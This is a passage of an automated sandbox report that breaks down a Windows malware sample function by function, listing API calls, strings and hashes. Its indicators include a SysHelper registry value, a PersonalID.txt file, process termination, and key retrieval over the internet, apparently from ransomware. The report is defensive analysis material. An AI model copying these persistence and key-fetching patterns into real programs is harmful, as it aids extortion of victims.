Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

std::exception::exception.LIBCMT ref: 0044F2AD
__CxxThrowException@8.LIBCMT ref: 0044F2C2
std::regex_error::regex_error.LIBCPMT ref: 0044F2D4

Part of subcall function 0044EF74: std::exception::exception.LIBCMT ref: 0044EF8E

__CxxThrowException@8.LIBCMT ref: 0044F2E2
std::exception::exception.LIBCMT ref: 0044F2FB
__CxxThrowException@8.LIBCMT ref: 0044F310

Strings

bad function call, xrefs: 0044F316

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaisestd::exception::_std::regex_error::regex_error
String ID: bad function call
API String ID: 2464034642-3612616537
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: b7a33952e270e61bb8336860f47bfa26d0287e47148adb1a9e07c7a629f44a3a
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 60110A74D0020DBBCB04FFA5D566CDDBB7CEA04348F408A67BD2497241EB78A7498B99

Uniqueness

Uniqueness Score: -1.00%

Function 00465480 Relevance: 15.2, APIs: 7, Strings: 3, Instructions: 172COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,00000000,?,?,00000000), ref: 004654C8
GetLastError.KERNEL32(?,?,00000000), ref: 004654D4
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,?,?,00000000), ref: 004654F7
GetLastError.KERNEL32(?,?,00000000), ref: 00465503
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,?,?,?,00000000,?,?,00000000), ref: 00465531
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,00000008,?,00000000,?,?,00000000), ref: 0046555B
GetLastError.KERNEL32(.\crypto\bio\bss_file.c,000000A9,?,00000000,?,?,00000000), ref: 004655F5

Strings

fopen(', xrefs: 00465611
',', xrefs: 0046560B
.\crypto\bio\bss_file.c, xrefs: 004655F0, 0046562F, 00465640

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID: ','$.\crypto\bio\bss_file.c$fopen('
API String ID: 1717984340-2085858615
Opcode ID: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction ID: 21cfcf061b86b0f752f7d9b12bec731e5652c25b667fcf3b1ac9b742683446ef
Opcode Fuzzy Hash: 5bed85aa8c1b563afb7458887addcfa84ee938cd819de717f6d53dc9ad9ea7b7
Instruction Fuzzy Hash: 5A518E71B40704BBEB206B61DC47FBF7769AF05715F40012BFD05BA2C1E669490186AB

Uniqueness

Uniqueness Score: -1.00%

Function 00425B6E Relevance: 15.1, APIs: 10, Instructions: 131COMMONLIBRARYCODE

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00425BF8
__lock.LIBCMT ref: 00425C0E
__copytlocinfo_nolock.LIBCMT ref: 00425C1F
__wsetlocale_nolock.LIBCMT ref: 00425C36
__lock.LIBCMT ref: 00425C70
__updatetlocinfoEx_nolock.LIBCMT ref: 00425C82
___removelocaleref.LIBCMT ref: 00425C88
__updatetlocinfoEx_nolock.LIBCMT ref: 00425CA7

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock
String ID:
API String ID: 790675137-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 0fe30f67420a0b57e0336c9221d2143c2ac41a82f10de3dc78134a272e9def7d
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: BE412932700724AFDB11AFA6B886B9E7BE0EF44318F90802FF51496282DB7D9544DB1D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00412440 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 52processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 0041244F
Process32FirstW.KERNEL32(00000000,0000022C), ref: 00412469
OpenProcess.KERNEL32(00000001,00000000,?), ref: 004124A1
TerminateProcess.KERNEL32(00000000,00000009), ref: 004124B0
CloseHandle.KERNEL32(00000000), ref: 004124B7
Process32NextW.KERNEL32(00000000,0000022C), ref: 004124C1
CloseHandle.KERNEL32(00000000), ref: 004124CD

Strings

cmd.exe, xrefs: 00412486

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32
String ID: cmd.exe
API String ID: 2696918072-723907552
Opcode ID: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction ID: b239e8364e8e77cb7af63d5752a1eab109cf3eb7ce5fcb3b526656d556a9da04
Opcode Fuzzy Hash: 577ed8ed9705958fd2e422ac99cb6a94193351d2856dfe9262a659f2a85694a3
Instruction Fuzzy Hash: ED0192355012157BE7206BA1AC89FAF766CEB08714F0400A2FD08D2141EA6489408EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0040F310 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 311libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0040F338
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 0040F353

Strings

SHGetFolderPathW, xrefs: 0040F34D
Shell32.dll, xrefs: 0040F32C
\, xrefs: 0040F548

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: SHGetFolderPathW$Shell32.dll$\
API String ID: 2574300362-2555811374
Opcode ID: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction ID: 879cb2c41796572bb27552663435674e3d239ec9c812fe4031d18dca963833e9
Opcode Fuzzy Hash: be864d8308790b92be5507a70b6add5af3086b64f5ec129cc261dae8a5d69eb3
Instruction Fuzzy Hash: DFC15A70D00209EBDF10DFA4DD85BDEBBB5AF14308F10443AE405B7291EB79AA59CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CBA0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0040CDDE
_malloc.LIBCMT ref: 0040CE12
_malloc.LIBCMT ref: 0040CE21
_fprintf.LIBCMT ref: 0040CE75

Strings

Error encrypting message: %s, xrefs: 0040CE67
 , xrefs: 0040CCAF
\\n, xrefs: 0040CC1B

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:  $Error encrypting message: %s$\\n
API String ID: 1783060780-3771355929
Opcode ID: 03c951cbcffbb22e4b904cab30c58fb638dd7e4556e50294ac70ee7de3450d71
Instruction ID: bc568b6946d652cfd5b4c77746d66a5f57144f99ddafb1662d710ebef24806c3
Opcode Fuzzy Hash: 03c951cbcffbb22e4b904cab30c58fb638dd7e4556e50294ac70ee7de3450d71
Instruction Fuzzy Hash: 10A196B1C00249EBEF10EF95DD46BDEBB75AF10308F54052DE40576282D7BA5688CBAA

Uniqueness

Uniqueness Score: -1.00%

Function 00463350 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 00463382
_strncmp.LIBCMT ref: 004633C2

Strings

DEK-Info: , xrefs: 00463422
.\crypto\pem\pem_lib.c, xrefs: 00463393, 004633D3, 00463407, 00463439, 00463491
Proc-Type: , xrefs: 0046337C
ENCRYPTED, xrefs: 004633BC

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: .\crypto\pem\pem_lib.c$DEK-Info: $ENCRYPTED$Proc-Type:
API String ID: 909875538-2908105608
Opcode ID: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction ID: 5da15f4c8f0622be9955200bbf206a62195e74188b9aea783317ae4bc8ba6fc6
Opcode Fuzzy Hash: ab3012ab59146815ebf28714d7aa14745dda8ec0f3d5ba1861611fdbbd5b6dc0
Instruction Fuzzy Hash: B7413EA1BC83C129F721592ABC03F9763854B51B17F080467FA88E52C3FB9D8987419F

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,?), ref: 0040C6C2
RegQueryValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

{"public_key":", xrefs: 0041EA2E
bowsakkdestx.txt, xrefs: 0041EA67

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 004573F0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 004574E9

Strings

UlE, xrefs: 00457596, 004575A9, 004575D1, 004575F6, 0045762A, 0045765D, 0045767F
0123456789abcdef, xrefs: 004574C4
0123456789ABCDEF, xrefs: 004574D6
+, xrefs: 00457475
, xrefs: 00457482

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __aulldvrm
String ID: $+$0123456789ABCDEF$0123456789abcdef$UlE
API String ID: 1302938615-3129329331
Opcode ID: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction ID: ba297de4fec08f8b73c8771b24cc4328c1ae3ea447eff3a94226dc6813255680
Opcode Fuzzy Hash: 46cac4d1b6a149b0db06dd79d6caabf4c5257fe28ada6b330817daa996fb75e4
Instruction Fuzzy Hash: D181AEB1A087509FD710CF29A84062BBBE5BFC9755F15092EFD8593312E338DD098B96

Uniqueness

Uniqueness Score: -1.00%

Function 004306EC Relevance: 10.6, APIs: 7, Instructions: 84COMMON

Download Yara Rule

APIs

___unDName.LIBCMT ref: 0043071B
_strlen.LIBCMT ref: 0043072E
__lock.LIBCMT ref: 0043074A
_malloc.LIBCMT ref: 0043075C
_malloc.LIBCMT ref: 0043076D
_free.LIBCMT ref: 004307B6

Part of subcall function 004242FD: IsProcessorFeaturePresent.KERNEL32(00000017,004242D1,i;B,?,?,00420CE9,0042520D,?,004242DE,00000000,00000000,00000000,00000000,00000000,0042981C), ref: 004242FF

_free.LIBCMT ref: 004307AF

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _free_malloc$ErrorFeatureFreeHeapLastNamePresentProcessor___un__lock_strlen
String ID:
API String ID: 3704956918-0
Opcode ID: 36539338cfbcad0928be78389f669657de3690c66bdbd94f98a67f280fd4e95b
Instruction ID: 67f118bcdaa5faec8c00adc58c02bfbdeebce6865ed580ae06d436c8457e8144
Opcode Fuzzy Hash: 36539338cfbcad0928be78389f669657de3690c66bdbd94f98a67f280fd4e95b
Instruction Fuzzy Hash: 3121DBB1A01715ABD7219B75D855B2FB7D4AF08314F90922FF4189B282DF7CE840CA98

Uniqueness

Uniqueness Score: -1.00%

Function 00411B10 Relevance: 10.6, APIs: 7, Instructions: 50timewindowsleepCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00411B1E
timeGetTime.WINMM ref: 00411B29
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B4C
DispatchMessageW.USER32(?), ref: 00411B5C
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00411B6A
Sleep.KERNEL32(00000064), ref: 00411B72
timeGetTime.WINMM ref: 00411B78

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: MessageTimetime$Peek$DispatchSleep
String ID:
API String ID: 3697694649-0
Opcode ID: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction ID: 47d0c5dc5d1eae46eaa001befe89e32fbe66e83151f6641dec248f991c3ab793
Opcode Fuzzy Hash: fcc8413cfddb585fd402253dfe517567f0959867a63999003a9cc793a607e07b
Instruction Fuzzy Hash: EE017532A40319A6DB2097E59C81FEEB768AB44B40F044066FB04A71D0E664A9418BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00425141 Relevance: 10.5, APIs: 7, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00425141

Part of subcall function 00427D6C: EncodePointer.KERNEL32(00000000,?,00425146,00423FFE,00507990,00000014), ref: 00427D6F
Part of subcall function 00427D6C: __initp_misc_winsig.LIBCMT ref: 00427D8A
Part of subcall function 00427D6C: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 004326B3
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 004326C7
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 004326DA
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 004326ED
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00432700
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00432713
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00432726
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00432739
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0043274C
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0043275F
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00432772
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00432785
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00432798
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 004327AB
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 004327BE
Part of subcall function 00427D6C: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 004327D1

__mtinitlocks.LIBCMT ref: 00425146
__mtterm.LIBCMT ref: 0042514F

Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B62
Part of subcall function 004251B7: _free.LIBCMT ref: 00428B69
Part of subcall function 004251B7: DeleteCriticalSection.KERNEL32(0050AC00,?,?,00425154,00423FFE,00507990,00000014), ref: 00428B8B

__calloc_crt.LIBCMT ref: 00425174
__initptd.LIBCMT ref: 00425196
GetCurrentThreadId.KERNEL32 ref: 0042519D

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__calloc_crt__init_pointers__initp_misc_winsig__initptd__mtinitlocks__mtterm_free
String ID:
API String ID: 3567560977-0
Opcode ID: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction ID: 366d1241f395ce705af539ece55ec53f654f371a685379b5f067519d47a60e56
Opcode Fuzzy Hash: 2aee27b5b182f6f3ae5a16561744fd9baa8d574365a868c1e04c7c5c44b22f1c
Instruction Fuzzy Hash: 75F0CD32B4AB712DE2343AB67D03B6B2680AF00738BA1061FF064C42D1EF388401455C

Uniqueness

Uniqueness Score: -1.00%

Function 004253AE Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

__lock.LIBCMT ref: 0042594A

Part of subcall function 00428AF7: __mtinitlocknum.LIBCMT ref: 00428B09
Part of subcall function 00428AF7: __amsg_exit.LIBCMT ref: 00428B15
Part of subcall function 00428AF7: EnterCriticalSection.KERNEL32(i;B,?,004250D7,0000000D), ref: 00428B22

_free.LIBCMT ref: 00425970

Part of subcall function 00420BED: HeapFree.KERNEL32(00000000,00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,0042520D,00420CE9), ref: 00420C13

__lock.LIBCMT ref: 00425989
___removelocaleref.LIBCMT ref: 00425998
___freetlocinfo.LIBCMT ref: 004259B1
_free.LIBCMT ref: 004259C4

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __lock_free$CriticalEnterErrorFreeHeapLastSection___freetlocinfo___removelocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 626533743-0
Opcode ID: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction ID: 81c7b0a8007453265eca5a285afc690957d7e654b57493ebbede42104a270bc8
Opcode Fuzzy Hash: c56b173b0890e450cc2a22b220cebe42ac0930fc8d6ccd74ffd4a749de21d878
Instruction Fuzzy Hash: E801A1B1702B20E6DB34AB69F446B1E76A0AF10739FE0424FE0645A1D5CFBD99C0CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004506A0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 004507C3

Strings

error:%08lX:%s:%s:%s, xrefs: 00450792
func(%lu), xrefs: 00450734
lib(%lu), xrefs: 0045071C
reason(%lu), xrefs: 00450758

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: ___from_strstr_to_strchr
String ID: error:%08lX:%s:%s:%s$func(%lu)$lib(%lu)$reason(%lu)
